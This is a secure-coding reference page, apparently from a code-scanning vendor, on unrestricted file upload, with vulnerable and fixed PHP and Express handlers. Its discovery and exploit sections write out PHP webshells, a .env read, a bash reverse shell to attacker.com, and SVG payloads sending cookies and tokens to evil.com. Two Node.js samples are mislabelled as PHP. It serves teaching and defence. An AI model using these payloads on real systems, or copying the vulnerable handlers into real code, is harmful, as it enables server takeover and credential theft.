Unrestricted File Upload

Unsafe File UploadArbitrary File UploadMalicious File Upload

Unrestricted File Upload at a glance

What it is: The app accepts and stores user files without strict validation, storage isolation, or safe delivery. Attackers upload executable or active content.
Why it happens: Can lead to remote code execution if server interprets uploaded files
How to fix: Allow list MIME types, verify magic bytes, and cap size; Store uploads outside executable paths, use randomized filenames; Serve from a neutral static domain with correct headers (nosniff, attachment)

Overview

Unrestricted File Upload occurs when an application takes user files and writes them where they can execute or run as active content, or when it fails to enforce type, size, and storage constraints. Classic cases include uploading PHP or JSP into web roots for code execution, or uploading HTML and SVG that browsers execute as scripts when served from the same origin.

sequenceDiagram participant Browser participant App as App Server participant Store as Upload Storage Browser->>App: POST /upload (xss.svg) App->>Store: Save file under /public/uploads Browser->>App: GET /uploads/xss.svg App-->>Browser: 200 OK with active content Browser-->>Browser: Executes script in app origin
A potential flow for a Unrestricted File Upload exploit

Where it occurs

Common targets are avatar uploads, support attachments, document repositories, and direct to cloud storage flows. Risks increase when uploads are saved with attacker chosen names, placed under web roots, or delivered from cookie sending subdomains.

Impact

Depending on stack and configuration, impact ranges from stored XSS and account takeover to full remote code execution. Large files can exhaust storage, and overwrites can replace critical assets and disrupt the site.

Prevention

Validate on server side with a strict allow list of MIME types, verify magic numbers, and enforce size limits. Generate randomized filenames and avoid writing under executable paths or classpaths. Serve from a dedicated static domain with X-Content-Type-Options: nosniff and consider Content-Disposition: attachment for risky types. Keep buckets private and issue time limited signed URLs.

Examples

Switch tabs to view language/framework variants.

PHP, allows .php upload to web root which is then executed

Handler accepts any filename and moves it to /var/www/html/uploads. PHP executes uploaded .php files.

Vulnerable
PHP • Plain PHP — Bad
<?php
if (!isset($_FILES['file'])) { http_response_code(400); exit('missing'); }
$target = __DIR__ . '/uploads/' . $_FILES['file']['name']; // BUG: trusts name and allows .php
move_uploaded_file($_FILES['file']['tmp_name'], $target);
echo 'ok';
  • Line 3: Uses user provided filename and extension, permits .php in executable directory

Uploading active server side scripts to a path executed by the interpreter turns uploads into remote code execution.

Secure
PHP • Plain PHP — Good
<?php
if (!isset($_FILES['file'])) { http_response_code(400); exit('missing'); }
$ALLOWED = ['png','jpg','jpeg','gif','webp'];
$name = $_FILES['file']['name'];
$ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));
if (!in_array($ext, $ALLOWED, true)) { http_response_code(400); exit('unsupported'); }
$buf = file_get_contents($_FILES['file']['tmp_name']);
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mime = $finfo->buffer($buf);
if (!in_array($mime, ['image/png','image/jpeg','image/gif','image/webp'], true)) { http_response_code(400); exit('bad type'); }
$base = bin2hex(random_bytes(16));
$path = __DIR__ . '/uploads-safe/' . $base . '.' . $ext; // served from static domain without PHP
file_put_contents($path, $buf);
echo 'ok';
  • Line 6: Allow list extensions and verify MIME magic
  • Line 11: Randomized server side filename, no user controlled path
  • Line 11: Store in a directory not executed by PHP

Allow list real image types with magic number checks, rename files server side, and store under a non-executable static domain or bucket.

Engineer Checklist

  • Allow list MIME types and verify magic bytes

  • Randomize filenames, never trust user provided names

  • Store outside web roots and executable paths

  • Serve from a neutral static domain, set nosniff and attachment where appropriate

  • Enforce strict size limits and server side timeouts

  • Keep cloud buckets private and use signed URLs

End-to-End Example

An Express app stores uploads in /public/uploads and links them on profiles. An attacker uploads an HTML file that steals session data when visited by admins reviewing profiles.

Vulnerable
PHP
// Node.js/Express - Vulnerable file upload

const multer = require('multer');

// VULNERABLE: Stores uploads in public directory with original filename
const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    // VULNERABLE: Uploads saved in web-accessible directory!
    // Can execute if server is configured to run uploaded scripts
    cb(null, 'public/uploads');
  },
  filename: (req, file, cb) => {
    // VULNERABLE: Uses original filename from client!
    // Attacker can upload shell.php, xss.svg, etc.
    cb(null, file.originalname);
  }
});

const upload = multer({
  storage: storage
  // VULNERABLE: No file size limit - DoS possible!
  // VULNERABLE: No file type validation at all!
});

// VULNERABLE: Avatar upload with no validation
app.post('/api/upload-avatar', upload.single('avatar'), (req, res) => {
  if (!req.file) {
    return res.status(400).json({ error: 'No file uploaded' });
  }
  
  // VULNERABLE: File is already saved before any validation!
  // No check on file type, size, or content
  const fileUrl = `/uploads/${req.file.originalname}`;
  
  res.json({
    message: 'Avatar uploaded successfully',
    url: fileUrl  // Served from same origin - XSS risk!
  });
});

// VULNERABLE: Document upload with weak validation
app.post('/api/upload-document', upload.single('document'), (req, res) => {
  if (!req.file) {
    return res.status(400).send('No file');
  }
  
  // VULNERABLE: Only checks file extension, not actual content!
  const ext = path.extname(req.file.originalname).toLowerCase();
  
  // VULNERABLE: Weak allow list - .svg can contain XSS
  if (!['.pdf', '.doc', '.docx', '.svg'].includes(ext)) {
    // File already saved! Just delete it now (race condition)
    fs.unlinkSync(req.file.path);
    return res.status(400).send('Invalid file type');
  }
  
  const fileUrl = `/uploads/${req.file.originalname}`;
  res.json({ url: fileUrl });
});

// VULNERABLE: Bulk upload with no limits
app.post('/api/bulk-upload', upload.array('files', 100), (req, res) => {
  if (!req.files || req.files.length === 0) {
    return res.status(400).send('No files uploaded');
  }
  
  // VULNERABLE: No size validation per file or total
  // Attacker can upload 100 files of 1GB each = 100GB!
  const uploadedFiles = req.files.map(file => ({
    name: file.originalname,
    url: `/uploads/${file.originalname}`
  }));
  
  res.json({
    message: `${req.files.length} files uploaded`,
    files: uploadedFiles
  });
});

// VULNERABLE: Serving uploads from same origin
app.use('/uploads', express.static('public/uploads'));
// This means uploaded HTML/SVG executes JavaScript in app context!
// PHP files may also execute if server is misconfigured
Secure
PHP
// Node.js/Express - Secure file upload

const multer = require('multer');
const crypto = require('crypto');
const fileType = require('file-type');  // Validates file magic bytes

// SECURE: Store uploads outside web root
const UPLOAD_DIR = '/var/app/uploads'; // NOT under public/
const MAX_FILE_SIZE = 5 * 1024 * 1024; // 5MB limit

// Whitelist of allowed MIME types
const ALLOWED_IMAGE_TYPES = new Set([
  'image/jpeg',
  'image/png',
  'image/gif',
  'image/webp'
]);

const ALLOWED_DOCUMENT_TYPES = new Set([
  'application/pdf'
]);

// SECURE: Configure multer with strict limits
const storage = multer.diskStorage({
  destination: (req, file, cb) => {
    // Store outside web root
    cb(null, UPLOAD_DIR);
  },
  filename: (req, file, cb) => {
    // SECURE: Generate random filename, ignore client input
    const randomName = crypto.randomBytes(16).toString('hex');
    const ext = path.extname(file.originalname).toLowerCase();
    cb(null, `${randomName}${ext}`);
  }
});

const upload = multer({
  storage: storage,
  limits: {
    fileSize: MAX_FILE_SIZE,  // Enforce size limit
    files: 10  // Max files per request
  },
  fileFilter: (req, file, cb) => {
    // SECURE: Pre-validate MIME type (but verify magic bytes after too)
    const isImage = ALLOWED_IMAGE_TYPES.has(file.mimetype);
    const isDoc = ALLOWED_DOCUMENT_TYPES.has(file.mimetype);
    
    if (isImage || isDoc) {
      cb(null, true);
    } else {
      cb(new Error(`Invalid file type: ${file.mimetype}`));
    }
  }
});

// SECURE: Avatar upload with validation
app.post('/api/upload-avatar', upload.single('avatar'), async (req, res) => {
  try {
    if (!req.file) {
      return res.status(400).json({ error: 'No file uploaded' });
    }
    
    // SECURE: Verify magic bytes match MIME type
    const buffer = await fs.promises.readFile(req.file.path);
    const type = await fileType.fromBuffer(buffer);
    
    if (!type || !ALLOWED_IMAGE_TYPES.has(type.mime)) {
      // Delete invalid file
      await fs.promises.unlink(req.file.path);
      return res.status(400).json({ error: 'Invalid image file' });
    }
    
    // Store file metadata in database
    const fileRecord = await db.files.create({
      userId: req.user.id,
      filename: req.file.filename,
      originalName: path.basename(req.file.originalname), // Sanitized
      mimeType: type.mime,
      size: req.file.size,
      uploadedAt: new Date()
    });
    
    // SECURE: Return file ID, not direct URL
    // Files served through separate endpoint with validation
    res.json({
      message: 'Avatar uploaded',
      fileId: fileRecord.id
    });
    
  } catch (error) {
    // Clean up on error
    if (req.file) {
      await fs.promises.unlink(req.file.path).catch(() => {});
    }
    res.status(500).json({ error: 'Upload failed' });
  }
});

// SECURE: Serve uploaded files with proper headers
app.get('/api/files/:fileId', async (req, res) => {
  const fileId = parseInt(req.params.fileId);
  
  // Look up file metadata
  const fileRecord = await db.files.findOne({
    where: { id: fileId }
  });
  
  if (!fileRecord) {
    return res.status(404).json({ error: 'File not found' });
  }
  
  // Optional: Check authorization
  // if (fileRecord.userId !== req.user.id && !req.user.isAdmin) {
  //   return res.status(403).json({ error: 'Access denied' });
  // }
  
  const filePath = path.join(UPLOAD_DIR, fileRecord.filename);
  
  // SECURE: Set headers to prevent execution
  res.setHeader('X-Content-Type-Options', 'nosniff');
  res.setHeader('Content-Type', fileRecord.mimeType);
  
  // For images, can inline; for documents, force download
  if (!ALLOWED_IMAGE_TYPES.has(fileRecord.mimeType)) {
    res.setHeader('Content-Disposition', `attachment; filename="${fileRecord.originalName}"`);
  }
  
  // SECURE: Ideally serve from separate domain (e.g., static.example.com)
  // to prevent cookies from being sent
  res.sendFile(filePath);
});

// SECURE: Document upload
app.post('/api/upload-document', upload.single('document'), async (req, res) => {
  try {
    if (!req.file) {
      return res.status(400).json({ error: 'No file' });
    }
    
    // Verify it's actually a PDF
    const buffer = await fs.promises.readFile(req.file.path);
    const type = await fileType.fromBuffer(buffer);
    
    if (type?.mime !== 'application/pdf') {
      await fs.promises.unlink(req.file.path);
      return res.status(400).json({ error: 'Only PDF files allowed' });
    }
    
    const fileRecord = await db.files.create({
      userId: req.user.id,
      filename: req.file.filename,
      originalName: path.basename(req.file.originalname),
      mimeType: 'application/pdf',
      size: req.file.size,
      uploadedAt: new Date()
    });
    
    res.json({
      message: 'Document uploaded',
      fileId: fileRecord.id
    });
    
  } catch (error) {
    if (req.file) {
      await fs.promises.unlink(req.file.path).catch(() => {});
    }
    res.status(500).json({ error: 'Upload failed' });
  }
});

Discovery

This vulnerability is discovered by testing file upload functionality with various file types (executables, scripts, HTML) and observing whether the application accepts dangerous file types or serves them without proper content-type headers or execution restrictions.

  1. 1. Test legitimate file upload

    http

    Action

    Upload valid image to establish baseline behavior

    Request

    POST https://app.example.com/api/upload
    Headers:
    Content-Type: multipart/form-data
    Body:
    {
      "note": "JPEG image file",
      "filename": "profile.jpg",
      "content_type": "image/jpeg"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Upload successful",
      "url": "https://app.example.com/uploads/profile_abc123.jpg",
      "file_id": "abc123"
    }

    Artifacts

    upload_endpoint_confirmed file_url_pattern same_origin_serving
  2. 2. Test PHP webshell upload

    http

    Action

    Attempt to upload executable PHP file

    Request

    POST https://app.example.com/api/upload
    Headers:
    Content-Type: multipart/form-data
    Body:
    {
      "note": "PHP webshell disguised as image",
      "filename": "shell.php",
      "content": "<?php system($_GET['cmd']); ?>",
      "content_type": "image/jpeg"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Upload successful",
      "url": "https://app.example.com/uploads/shell.php",
      "note": "No file type validation - PHP file accepted!"
    }

    Artifacts

    webshell_uploaded no_file_validation rce_vector_confirmed
  3. 3. Test SVG stored XSS

    http

    Action

    Upload SVG with embedded JavaScript

    Request

    POST https://app.example.com/api/upload
    Headers:
    Content-Type: multipart/form-data
    Body:
    {
      "filename": "avatar.svg",
      "content": "<svg onload=\"fetch('https://evil.com/steal?c='+document.cookie)\"></svg>",
      "content_type": "image/svg+xml"
    }

    Response

    Status: 200
    Body:
    {
      "message": "Avatar uploaded",
      "url": "https://app.example.com/uploads/avatar_def456.svg",
      "note": "SVG served from same origin without Content-Security-Policy"
    }

    Artifacts

    svg_xss_uploaded same_origin_serving xss_vector_confirmed
  4. 4. Verify webshell execution

    http

    Action

    Access uploaded PHP file to confirm code execution

    Request

    GET https://app.example.com/uploads/shell.php?cmd=id

    Response

    Status: 200
    Body:
    {
      "output": "uid=33(www-data) gid=33(www-data) groups=33(www-data)",
      "note": "Remote code execution confirmed!"
    }

    Artifacts

    rce_confirmed webshell_functional system_compromise

Exploit steps

An attacker exploits this by uploading malicious files such as web shells, executable scripts, or files containing XSS payloads, then accessing the uploaded files to achieve remote code execution, persistent XSS, or malware distribution.

  1. 1. Deploy webshell for persistent access

    Upload advanced PHP webshell

    http

    Action

    Upload full-featured webshell for system control

    Request

    POST https://app.example.com/api/upload
    Headers:
    Content-Type: multipart/form-data
    Body:
    {
      "filename": "assets.php",
      "content": "<?php if(isset($_GET['cmd'])){echo'<pre>';system($_GET['cmd']);echo'</pre>';}if(isset($_GET['file'])){echo file_get_contents($_GET['file']);}?>"
    }

    Response

    Status: 200
    Body:
    {
      "url": "https://app.example.com/uploads/assets.php",
      "note": "Webshell deployed successfully"
    }

    Artifacts

    webshell_deployed persistent_backdoor rce_capability
  2. 2. Extract sensitive files and credentials

    Read application secrets via webshell

    http

    Action

    Use webshell to read .env and configuration files

    Request

    GET https://app.example.com/uploads/assets.php?file=/app/.env

    Response

    Status: 200
    Body:
    {
      "content": "DATABASE_URL=postgresql://admin:Pr0dP@ssw0rd2024@db.internal:5432/production\nAWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE\nAWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\nSTRIPE_SECRET_KEY=sk_live_51HxYz3FGHxYz3FG"
    }

    Artifacts

    secrets_extracted database_credentials aws_keys payment_keys
  3. 3. Establish reverse shell

    Execute reverse shell command

    http

    Action

    Use webshell to establish interactive shell connection

    Request

    GET https://app.example.com/uploads/assets.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/attacker.com/4444%200%3E%261%27

    Response

    Status: 200
    Body:
    {
      "note": "Command executed, reverse shell connecting to attacker.com:4444",
      "attacker_log": "Connection received from 52.143.12.89\nbash-5.1$ whoami\nwww-data"
    }

    Artifacts

    reverse_shell_established interactive_access full_compromise
  4. 4. Stored XSS to steal admin sessions

    Upload malicious SVG to harvest credentials

    http

    Action

    Deploy SVG with JavaScript to steal admin cookies when profile viewed

    Request

    POST https://app.example.com/api/upload
    Headers:
    Content-Type: multipart/form-data
    Body:
    {
      "filename": "profile.svg",
      "content": "<svg onload=\"fetch('https://evil.com/steal',{method:'POST',body:document.cookie+' '+localStorage.getItem('auth_token')})\"></svg>"
    }

    Response

    Status: 200
    Body:
    {
      "url": "https://app.example.com/uploads/profile_xyz789.svg",
      "attack_result": "Admin views profile, XSS executes:\n- session_id=abc123xyz789def456\n- auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...\n- Attacker gains full admin access"
    }

    Artifacts

    stored_xss admin_session_stolen account_takeover jwt_token_captured

Specific Impact

Administrative sessions are compromised when reviewing user content. Attackers can change configuration, exfiltrate data, or deploy persistence via admin UI actions.

If the platform interprets uploaded scripts server side (for example PHP), full remote code execution is possible with one request.

Fix

This removes the ability to execute uploaded content and limits the blast radius if a file slips through.

Add CI checks and runtime monitors for executable files appearing in upload storage.

Detect This Vulnerability in Your Code

Sourcery automatically identifies unrestricted file upload vulnerabilities and many other security issues in your codebase.

Scan Your Code for Free